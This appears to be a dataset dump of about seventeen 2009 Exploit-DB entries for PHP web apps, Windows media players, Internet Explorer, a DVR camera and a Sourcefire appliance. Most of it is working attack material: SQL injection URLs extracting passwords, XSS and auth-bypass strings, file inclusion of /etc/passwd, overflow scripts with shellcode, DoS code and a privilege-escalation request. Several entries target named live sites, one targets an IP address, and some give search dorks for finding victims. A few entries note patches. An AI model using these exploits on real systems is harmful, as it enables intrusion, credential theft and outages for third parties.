QLWD/code_shield huggingface dataset:
标题: phpbms 0.96 - Multiple Vulnerabilities EDB-ID: 9101 CVE: 2009-3756 2009-3755 2009-3754 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: phpBMS v0.96
phpbms.org

eLwaux(c)2009, uasc.org.ua
http://phpbms.org/trial/


## ## ##
SQL Inj
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 $querystatement="SELECT
if(discounts.type+0=1,concat(discounts.value,\"%\"),discounts.value)
                  AS value FROM discounts WHERE id=".$_GET["id"];
 $queryresult = $db->query($querystatement);
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PoC: /modules/bms/invoices_discount_ajax.php?id=-1+union+select+concat_ws(0x3a,version(),user(),database())



## ## ##
SQL Inj
\dbgraphic.php
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
        $querystatement="SELECT ".$_GET["f"].",".$_GET["mf"]." FROM
".$_GET["t"]." WHERE id=".$_GET["r"];
 $queryresult=$db->query($querystatement);
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PoC: \dbgraphic.php?f=concat_ws(id,login,password)&mf=1&t=users&r=1


## ## ##
SQL Inj
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 if(isset($_GET["cmd"])){
  switch($_GET["cmd"]){
   case "show":
    showSearch($_GET["tid"],$_GET["base"],$db);
   break;
  }//end switch
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PoC:
 /advancedsearch.php?cmd=show&tid=-1+union+select+login+from+users&base=2
 /advancedsearch.php?cmd=show&tid=-1+union+select+password+from+users&base=2


## ## ##
pXSS
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
        <form name="form1" method="post" action="<?php echo
$_SERVER["PHP_SELF"]?>">
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PoC:
     \index.php/"><script>alert(/xss/);</script><div id="
     \modules\base\myaccount.php/"><script>alert(/xss/);</script><div id="
     \phpbms\modules\base\modules_view.php"><script>alert(/xss/);</script><div
id="
     \phpbms\modules\base\tabledefs_options.php\">{XSS}
     \phpbms\modules\base\adminsettings.php\">{XSS}


## ## ##
Path Disclosure
     /footer.php
     /header.php
     /advancedsearch.php?cmd=show&
     /choicelist.php

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9101
标题: Microsoft Windows Live Messenger Plus! Fileserver 1.0 - Directory Traversal EDB-ID: 9093 CVE: 2009-2544 类型: REMOTE 平台: WINDOWS 发布日期: 2009-07-09 漏洞利用脚本: ###########################################
Windows Live Messenger Plus! FileServer 1.0
###########################################
Found by joepie91


The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder.

This is an example of a normal communication:
> !login username password
< Login succeeded.
> !dir
< [directory listing goes here]
> !cd music
< OK
> !get music.mp3
< [music.mp3 is sent here]

However, when using ../ with the !cd command, you can actually go beyond the root folder.
This is an example communication (the root directory is C:\shared\files\):
> !login username password
< Login succeeded.
> !cd ../
< OK
> !cd ../
< OK
> !cd windows
< OK
> !dir
< [here goes a directory listing of C:\windows]
> !get explorer.exe
< [client sends back explorer.exe, even though it doesn't have any use]

This very basic vulnerability should be patched as soon as possible, to prevent abuse.

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9093
标题: Siteframe CMS 3.2.x - SQL Injection / phpinfo() EDB-ID: 9098 CVE: 2009-2443 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: ========================================================================================================================================================


  [o] Siteframe CMS 3.2.x SQL Injection & phpinfo() Disclosure Vulnerability

       Software : Siteframe CMS version 3.2.x
       Vendor   : http://siteframe.org/
       Download : http://sitefrane.org/downloads/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


========================================================================================================================================================


  [o] Description

       SiteframeÂ™ is a lightweight content-management system
       designed for the rapid deployment of community-based websites.
       With Siteframe, a group of users can share stories and photographs,
       create blogs, send email to one another, and participate in group activities.
       Siteframe enables this by providing web-based content management
       so that anyone can create content without needing to learn HTML.



  [o] Vulnerable file

       document.php



  [o] Exploit

       http://localhost/[path]/document.php?id=[SQL]
       http://localhost/[path]/phpinfo.php



  [o] Proof of concept

       http://digi-forum.com/frame/document.php?id=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user_email,user_passwd),11,12+from+users--
       http://digi-forum.com/frame/phpinfo.php
       http://myolympus.org/document.php?id=15570+and+1=2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user_email,user_passwd),11,12+from+users--
       http://myolympus.org/phpinfo.php



  [o] Dork

       "Powered by Siteframe"



  [o] Notes

       Upgrade Siteframe CMS from 3.2.x to 5.0.6 (lastest)


========================================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/news ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa Angela Zhang
       H312Y yooogy mousekill }^-^{ kaka11 zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


========================================================================================================================================================

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9098
标题: PatPlayer 3.9 - '.m3u' Local Heap Overflow (PoC) EDB-ID: 9102 CVE: 2009-3717 类型: DOS 平台: WINDOWS 发布日期: 2009-07-10 漏洞利用脚本: #!/usr/bin/perl
#
#
#
# PatPlayer v3.9 (M3U File) Local Heap Overflow PoC
#
#
# Found By : Cyber-Zone (ABDELKHALEK)
#
#
# Greatz : All friends (Jiko :)) Sec-r1z.CoM ..... IQ-TY ....
#
#
#EAX 41414141
#ECX 00000000
#EDX 004F1FC0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#EBX 00B928DC
#ESP 0012FD2C
#EBP 0012FD78
#ESI 004F1CCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDI 004EEA78 PatPlaye.004EEA78
#EIP 00404C59 PatPlaye.00404C59
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 2480; # Random

open(MYFILE,'>>cyber.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9102
标题: TalkBack 2.3.14 - Multiple Vulnerabilities EDB-ID: 9095 CVE: 2009-4874 2009-4854 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: JIKO No-exploit.Com
Download:http://scripts.oldguy.us/talkback/downloads2/talkback2.3.14.zip
Script : talkback V 2.3.14
Dork:inurl:test.php Powered by TalkBack
--------------------------------------------
Edit Comment ~[+]
talkback/comments.php?edit=1&edit_id=2&
Command ~[+]
talkback/addons/import.php?result=[Command]
        Code;
        $last_line = system($command, $result);
Local File ~[+]
        Note : if floder install not deleted
http://localhost/test/talkback/install/help.php?language=[File]
    code;
        $file = "../language/{$_REQUEST['language']}.php";
    if (!is_file($file))
        exit("Language file '$file' does not exist");
    include ($file);

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9095
标题: Microsoft Internet Explorer - 'AddFavorite' Remote Crash (PoC) EDB-ID: 9100 CVE: 2009-2433 类型: DOS 平台: WINDOWS 发布日期: 2009-07-09 漏洞利用脚本: ------------------------------------------->
IE Add Favourites Stack Buffer Overflow POC

Sberry, Compaq

------------------------------------------->

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
 var str =unescape('%u4141');
 var finalstr = createInlineBuffer(str, 5150000);
 var len = finalstr.length;
 document.write(len);
 addfav(finalstr);
}
      
/* Effient in-line creation */
function createInlineBuffer (str, num) {
 var i = Math.ceil(Math.log(num) / Math.LN2),
  res = str;
 do {
  res += res;
 } while (0 < --i);
 return res.slice(0, str.length * num);
}

/* Vulnerable Function */
function addfav(str)
   {
   if (document.all)
      {
      window.external.AddFavorite
      ('http://'+str,'Crash')
      }
   }
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9100
标题: ClearContent - '/image.php?url' Local/Remote File Inclusion EDB-ID: 9089 CVE: 2009-3535 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: ----------------------------------------------------------------------------------------------------

  Name : ClearContent
  Site : http://www.allisclear.com/

  Demo : http://demo.allisclear.com/

----------------------------------------------------------------------------------------------------

 
  Found By : MizoZ [EvilWay Team]

  Made in  : Morocco
  Contact  : mizozx[at]gmail[dot]com
  Greetz   : Moudi , Zuka , All friends


----------------------------------------------------------------------------------------------------


  P0c:
 
    LFI: http://demo.allisclear.com/image.php?url=../../../../../../../../../../etc/passwd
    RFI: http://demo.allisclear.com/image.php?url=[EVIL_CODE]???


 RFI needs register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9089
标题: Rentventory - Multiple SQL Injections EDB-ID: 9081 CVE: 2009-2339 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-02 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] ~Fleck i love you :D hahaha
==============================================================================
        [Â»] Rentventory PHP (SQL/Blind) Multiple Vulnerabilities
==============================================================================

 [Â»] Script:             [ Rentventory ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.rentventory.com/ ]
 [Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em man .... ]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ $39 ]

###########################################################################

===[ Exploit SQL ]=== 
 
 [Â»] http://www.site.com/patch/?product=[SQL]&panel=rent%2Fselect_time

===[ LIVE DEMO ]=== 

        [Â»] http://www.rentventory.com/demo/?product=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12&panel=rent%2Fselect_time

===[ Exploit BLIND SQL ]=== 

       [Â»] http://www.site.com/patch/?product=[BLIND]&panel=rent%2Fselect_time

===[ LIVE DEMO ]===

       [Â»] http://www.rentventory.com/demo/?product=1+AND+SUBSTRING(@@version,1,1)=5&panel=rent%2Fselect_time


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-02] URL: https://www.exploit-db.com/exploits/9081
标题: Opial 1.0 - 'albumID' SQL Injection EDB-ID: 9080 CVE: 2009-2341 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-02 漏洞利用脚本: ###################################################################
###################################################################
Opial 1.0 (albumid) Remote SQL Injection Vuln
###################################################################
Founder : ThE g0bL!N
###################################################################
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit:
###################################################################
http://www.path.com/albumdetail.php?albumid=-31+union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,user(),16--
Demo:
----
http://www.opial.com/demo/
####################################################################
Greeting : Super_Ctistal (My Master)  And all Muslims&algerian Hackers

# milw0rm.com [2009-07-02] URL: https://www.exploit-db.com/exploits/9080
标题: Opial 1.0 - Authentication Bypass EDB-ID: 9079 CVE: 2009-2388 2009-2340 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-02 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] ~Fleck i love you :D hahaha
==============================================================================
        [Â»] Opial Version 1.0 (Auth Bypass) Remote Sql Injection
==============================================================================

 [Â»] Script:             [ Opial Version 1.0 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.opial.com/ ]
 [Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ $35 - $155 ]

###########################################################################

===[ Exploit SQL ]=== 
 
 [Â»] http://www.site.com/patch/admin/

        [Â»] User Name : admin' or '1=1
        [Â»] Password  : leave empty here

===[ LIVE DEMO ]=== 

        [Â»] http://www.opial.com/demo/admin/

        [Â»] User Name : admin' or '1=1
        [Â»] Password  : 


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-02] URL: https://www.exploit-db.com/exploits/9079
标题: otsAV DJ 1.85.064 - '.ofl' Local Heap Overflow (PoC) EDB-ID: 9090 CVE: 2009-3812 类型: DOS 平台: WINDOWS 发布日期: 2009-07-09 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# all i want say welcom back 3asfh
# otsAV DJ 1.85.064 (.ofl File) Local Heap Overflow PoC
# http://x.download.otszone.com/static/otsavdjtrialsetup.exe
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.OFL');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9090
标题: AudioPLUS 2.00.215 - '.pls' Local Buffer Overflow (SEH) EDB-ID: 9070 CVE: 2009-2363 2009-2362 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-01 漏洞利用脚本: #!/usr/bin/perl
# AudioPLUS 2.00.215 (.pls) Local buffer Overflow (seh)
print "AudioPLUS 2.00.215 (.pls) Local buffer Overflow (seh)\n";
my $header = "[playlist]\x0ANumberOfEntries=1\x0AFile1=http://";
my $junk="\x41" x 4103;
my $nseh="\xEB\x06\x90\x90";
my $seh="\x35\x2F\xD1\x72"; # jmp msacm32.drv ebx
my $nop="\x90" x 20;
my $shellcode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
open(myfile,'>> exploit.pls');
print myfile $header.$junk.$nseh.$seh.$nop.$shellcode;

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9070
标题: ARD-9808 DVR Card Security Camera - Arbitrary Configuration Disclosure EDB-ID: 9066 CVE: 2009-2306 类型: REMOTE 平台: HARDWARE 发布日期: 2009-07-01 漏洞利用脚本: -------------------------------------------------
SoftWare Name : ARD-9808 DVR Card Security Camera Passwords View Bug
-------------------------------------------------
Author : Septemb0x
Web Site : www.ozkanbozkurt.com
Procuts Site : http://www.armassa.com.tr/shop/category.php?sid=C2B7D6B59AF75CF88011987A080A46FD&id=87789673
Software Download : http://www.armassa.com.tr/shop/down/ard9808.rar = Open To Rar > DVR > Dvr.ini
D0rk : "To enable control work: Tools->Internet Options->Security->Custom Level   Reset to: Low Or Download"
-------------------------------------------------
Exploit: http://[sitename-ipadress]/dvr.ini
-------------------------------------------------
Example: http://88.249.248.177/dvr.ini
Show;
[PASSWORD]
administrator=
password_a=
user=
password=
enable=0
user0=ozcan = Camera Username
password0=3893 = Camera Password
right0=223
encode=1
num=2
user1=yurt
password1=yurt
right1=223
.
.
.
... Login The Camera :)
-------------------------------------------------
Greetz : BHDR, BARCOD3
-------------------------------------------------

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9066
标题: Sourcefire 3D Sensor & Defense Center 4.8.x - Privilege Escalation EDB-ID: 9074 CVE: 2009-2344 类型: WEBAPPS 平台: CGI 发布日期: 2009-07-02 漏洞利用脚本: Affected product
----------------

Sourcefire 3D Sensor and Defense Center 4.8.x
 
Tested on 4.8.0.3 and 4.8.0.4, 3D Sensor 2500 & DC 1000
All 4.8.x releases, up to and including 4.8.1, confirmed vulnerable by sourcefire.


Vulnerability details
---------------------

A privilege escalation vulnerability found in the Sensor and the DC web based management interfaces allows any local account
to take over the appliances administrator role.
While the "user.cgi" PERL script correctly validates that incoming requests belong to an authenticated session, in such a case 
it also blindly grants read/write access to all accounts configuration with no regard for the role of the request's originator. 
Therefore a user with even the lowest level of access (ie. without any role configured) is able to promote himself as administrator 
and/or change others roles and account parameters at will. 
Depending of the role or roles initially configured for this user, access to the user management page may not be visible
into the interface's layout however the underlying script itself is still reachable and can be invoked "by hand".

Let's now consider a malicious operator named 'foobar' whose role has been restricted to "Event analyst (read only)".
He would first log in to the appliance using his own credentials in order to get an authenticated session cookie (CGISESSID=xxxxxxxxxxxxxxxxxx)
then he could send a forged POST request similar to the one below:
 
POST https://x.x.x.x/admin/user/user.cgi HTTP/1.1
User-Agent: xxxxxx
Keep-Alive: 300
Connection: Keep-alive
Cookie: CGISESSID=xxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 56

mode=edit&username=foobar&admin=%24admin&action_add=Save

He would thereafter be promoted to administrator by the appliance with full access into the management interface.
 
As a final note, several other scripts were reported being affected by the same vulnerability after investigation from the vendor.


Resolution
----------

Upgrade your appliance's software to 4.8.2 available from the Sourcefire's support website located at https://support.sourcefire.com/


Disclosure timeline
-------------------

2009-05-05: Vulnerability discovered and reported to Sourcefire.
2009-06-30: 4.8.2 released by Sourcefire.
2009-07-01: Public disclosure.



Gregory Duchemin

# milw0rm.com [2009-07-02] URL: https://www.exploit-db.com/exploits/9074
标题: ARD-9808 DVR Card Security Camera - GET Remote Denial of Service EDB-ID: 9067 CVE: 2009-2305 类型: DOS 平台: HARDWARE 发布日期: 2009-07-01 漏洞利用脚本: import socket
import sys
print "----------------------------------------------------------------"
print " ARD-9808 DVR Card Security Camera <= Remote Denial Of Service  "
print " author: Stack                                                  "
print "----------------------------------------------------------------"
host = "127.0.0.1"
port = 80
try:
       buff = "//.\\" * 1000
       request =  "GET " + buff + " HTTP/1.0"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       raw_input('\n\nExploit completed. Press "Enter" to quit...')
       sys.exit
except:
       raw_input('\n\nUnable to connect. Press "Enter" to quit...')

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9067